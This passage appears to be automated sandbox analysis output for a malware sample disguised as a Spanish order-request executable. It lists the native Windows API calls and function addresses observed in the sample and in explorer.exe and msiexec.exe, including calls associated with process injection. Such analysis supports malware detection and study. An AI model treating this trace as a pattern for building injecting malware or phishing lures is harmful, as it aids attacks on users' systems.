                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,6_2_016A2EA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_016A2E80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A4340 NtSetContextThread,6_2_016A4340
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A4650 NtSuspendThread,6_2_016A4650
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2BE0 NtQueryValueKey,6_2_016A2BE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2BA0 NtEnumerateValueKey,6_2_016A2BA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2B80 NtQueryInformationFile,6_2_016A2B80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2AF0 NtWriteFile,6_2_016A2AF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2AB0 NtWaitForSingleObject,6_2_016A2AB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2D00 NtSetInformationFile,6_2_016A2D00
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2DB0 NtEnumerateKey,6_2_016A2DB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2C60 NtCreateKey,6_2_016A2C60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2C00 NtQueryInformationProcess,6_2_016A2C00
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2CF0 NtOpenProcess,6_2_016A2CF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2CC0 NtQueryVirtualMemory,6_2_016A2CC0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2F60 NtCreateProcessEx,6_2_016A2F60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2FA0 NtQuerySection,6_2_016A2FA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2E30 NtWriteVirtualMemory,6_2_016A2E30
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2EE0 NtQueueApcThread,6_2_016A2EE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A3010 NtOpenDirectoryObject,6_2_016A3010
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A3090 NtSetValueKey,6_2_016A3090
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A35C0 NtCreateMutant,6_2_016A35C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A39B0 NtGetContextThread,6_2_016A39B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A3D70 NtOpenThread,6_2_016A3D70
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A3D10 NtOpenProcessToken,6_2_016A3D10
                Source: C:\Windows\explorer.exeCode function: 7_2_08687232 NtCreateFile,7_2_08687232
                Source: C:\Windows\explorer.exeCode function: 7_2_08688E12 NtProtectVirtualMemory,7_2_08688E12
                Source: C:\Windows\explorer.exeCode function: 7_2_08688E0A NtProtectVirtualMemory,7_2_08688E0A
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02CA0 NtQueryInformationToken,LdrInitializeThunk,8_2_04D02CA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02C70 NtFreeVirtualMemory,LdrInitializeThunk,8_2_04D02C70
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02C60 NtCreateKey,LdrInitializeThunk,8_2_04D02C60
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02DD0 NtDelayExecution,LdrInitializeThunk,8_2_04D02DD0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02DF0 NtQuerySystemInformation,LdrInitializeThunk,8_2_04D02DF0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02D10 NtMapViewOfSection,LdrInitializeThunk,8_2_04D02D10
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,8_2_04D02EA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02FE0 NtCreateFile,LdrInitializeThunk,8_2_04D02FE0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02F30 NtCreateSection,LdrInitializeThunk,8_2_04D02F30
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02AD0 NtReadFile,LdrInitializeThunk,8_2_04D02AD0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02B60 NtClose,LdrInitializeThunk,8_2_04D02B60
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D035C0 NtCreateMutant,LdrInitializeThunk,8_2_04D035C0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D04650 NtSuspendThread,8_2_04D04650
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D04340 NtSetContextThread,8_2_04D04340
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02CC0 NtQueryVirtualMemory,8_2_04D02CC0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02CF0 NtOpenProcess,8_2_04D02CF0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02C00 NtQueryInformationProcess,8_2_04D02C00
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02DB0 NtEnumerateKey,8_2_04D02DB0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02D00 NtSetInformationFile,8_2_04D02D00
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02D30 NtUnmapViewOfSection,8_2_04D02D30
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02EE0 NtQueueApcThread,8_2_04D02EE0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02E80 NtReadVirtualMemory,8_2_04D02E80
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02E30 NtWriteVirtualMemory,8_2_04D02E30
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02F90 NtProtectVirtualMemory,8_2_04D02F90
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02FB0 NtResumeThread,8_2_04D02FB0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02FA0 NtQuerySection,8_2_04D02FA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02F60 NtCreateProcessEx,8_2_04D02F60
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02AF0 NtWriteFile,8_2_04D02AF0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02AB0 NtWaitForSingleObject,8_2_04D02AB0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02BF0 NtAllocateVirtualMemory,8_2_04D02BF0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02BE0 NtQueryValueKey,8_2_04D02BE0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02B80 NtQueryInformationFile,8_2_04D02B80
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D02BA0 NtEnumerateValueKey,8_2_04D02BA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D03090 NtSetValueKey,8_2_04D03090
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D03010 NtOpenDirectoryObject,8_2_04D03010
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D03D70 NtOpenThread,8_2_04D03D70
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D03D10 NtOpenProcessToken,8_2_04D03D10
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D039B0 NtGetContextThread,8_2_04D039B0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAA350 NtCreateFile,8_2_00BAA350
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAA480 NtClose,8_2_00BAA480
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAA400 NtReadFile,8_2_00BAA400
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAA47C NtClose,8_2_00BAA47C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFC0EC2_2_00BFC0EC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFEBA02_2_00BFEBA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06EAA3182_2_06EAA318
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06EAC0E02_2_06EAC0E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE00342_2_06FE0034
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FEF7B02_2_06FEF7B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE6C482_2_06FE6C48
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE5BB82_2_06FE5BB8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE7B702_2_06FE7B70
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE7B602_2_06FE7B60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FEFB182_2_06FEFB18
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFAFE82_2_06FFAFE8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FF9CF02_2_06FF9CF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FF14502_2_06FF1450
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FF65102_2_06FF6510
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFC2B12_2_06FFC2B1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FF70E72_2_06FF70E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFB8792_2_06FFB879
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF6582_2_06FFF658
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF64B2_2_06FFF64B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFDFE02_2_06FFDFE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFAFD82_2_06FFAFD8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFDFD02_2_06FFDFD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF3E02_2_06FFF3E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF3D02_2_06FFF3D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFA0B02_2_06FFA0B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFA0A02_2_06FFA0A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF1C02_2_06FFF1C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFF1B02_2_06FFF1B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07300BF02_2_07300BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_0730174B2_2_0730174B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_0730D25C2_2_0730D25C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_0730101B2_2_0730101B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073010062_2_07301006
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073000072_2_07300007
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073000402_2_07300040
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_0730108E2_2_0730108E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073080D72_2_073080D7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07307F782_2_07307F78
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07307F882_2_07307F88
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07303E372_2_07303E37
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07301D3F2_2_07301D3F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07303B602_2_07303B60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07303B512_2_07303B51
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07300BB92_2_07300BB9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073089782_2_07308978
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073089682_2_07308968
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073079D82_2_073079D8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073079C72_2_073079C7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_0730F8A02_2_0730F8A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073707B82_2_073707B8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073703902_2_07370390
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073703802_2_07370380
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07376BF02_2_07376BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07376BE12_2_07376BE1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073707C82_2_073707C8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07372D402_2_07372D40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_073758182_2_07375818
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07303E482_2_07303E48
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041E84B6_2_0041E84B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_004010306_2_00401030
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D9B66_2_0041D9B6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041EB6E6_2_0041EB6E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041DCA16_2_0041DCA1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00402D876_2_00402D87
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00402D906_2_00402D90
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00409E4C6_2_00409E4C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00409E506_2_00409E50
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D7706_2_0041D770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00402FB06_2_00402FB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F81586_2_016F8158
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016601006_2_01660100
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170A1186_2_0170A118
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017281CC6_2_017281CC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017301AA6_2_017301AA
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017020006_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172A3526_2_0172A352
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017303E66_2_017303E6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E3F06_2_0167E3F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017102746_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F02C06_2_016F02C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016705356_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017305916_2_01730591
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017224466_2_01722446
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017144206_2_01714420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171E4F66_2_0171E4F6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016707706_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016947506_2_01694750
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166C7C06_2_0166C7C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168C6E06_2_0168C6E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016869626_2_01686962
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016729A06_2_016729A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0173A9A66_2_0173A9A6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016728406_2_01672840
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167A8406_2_0167A840
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E8F06_2_0169E8F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016568B86_2_016568B8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172AB406_2_0172AB40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01726BD76_2_01726BD7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA806_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167AD006_2_0167AD00
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170CD1F6_2_0170CD1F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166ADE06_2_0166ADE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01688DBF6_2_01688DBF
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670C006_2_01670C00
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660CF26_2_01660CF2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710CB56_2_01710CB5
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E4F406_2_016E4F40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01712F306_2_01712F30
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B2F286_2_016B2F28
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01690F306_2_01690F30
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167CFE06_2_0167CFE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01662FC86_2_01662FC8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EEFA06_2_016EEFA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670E596_2_01670E59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172EE266_2_0172EE26
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172EEDB6_2_0172EEDB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172CE936_2_0172CE93
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01682E906_2_01682E90
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A516C6_2_016A516C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165F1726_2_0165F172
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0173B16B6_2_0173B16B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167B1B06_2_0167B1B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172F0E06_2_0172F0E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017270E96_2_017270E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016770C06_2_016770C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171F0CC6_2_0171F0CC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165D34C6_2_0165D34C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172132D6_2_0172132D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B739A6_2_016B739A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017112ED6_2_017112ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168B2C06_2_0168B2C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016752A06_2_016752A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017275716_2_01727571
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170D5B06_2_0170D5B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016614606_2_01661460
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172F43F6_2_0172F43F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172F7B06_2_0172F7B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017216CC6_2_017216CC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016799506_2_01679950
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168B9506_2_0168B950
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017059106_2_01705910
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DD8006_2_016DD800
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016738E06_2_016738E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172FB766_2_0172FB76
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016ADBF96_2_016ADBF9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E5BF06_2_016E5BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168FB806_2_0168FB80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E3A6C6_2_016E3A6C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01727A466_2_01727A46
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172FA496_2_0172FA49
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171DAC66_2_0171DAC6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B5AA06_2_016B5AA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01711AA36_2_01711AA3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170DAAC6_2_0170DAAC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01727D736_2_01727D73
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01673D406_2_01673D40
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01721D5A6_2_01721D5A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168FDC06_2_0168FDC0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E9C326_2_016E9C32
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172FCF26_2_0172FCF2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172FF096_2_0172FF09
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01633FD26_2_01633FD2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01633FD56_2_01633FD5
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172FFB16_2_0172FFB1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01671F926_2_01671F92
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01679EB06_2_01679EB0
                Source: C:\Windows\explorer.exeCode function: 7_2_086872327_2_08687232
                Source: C:\Windows\explorer.exeCode function: 7_2_086860367_2_08686036
                Source: C:\Windows\explorer.exeCode function: 7_2_0867D0827_2_0867D082
                Source: C:\Windows\explorer.exeCode function: 7_2_08681B307_2_08681B30
                Source: C:\Windows\explorer.exeCode function: 7_2_08681B327_2_08681B32
                Source: C:\Windows\explorer.exeCode function: 7_2_0867ED027_2_0867ED02
                Source: C:\Windows\explorer.exeCode function: 7_2_086849127_2_08684912
                Source: C:\Windows\explorer.exeCode function: 7_2_0868A5CD7_2_0868A5CD
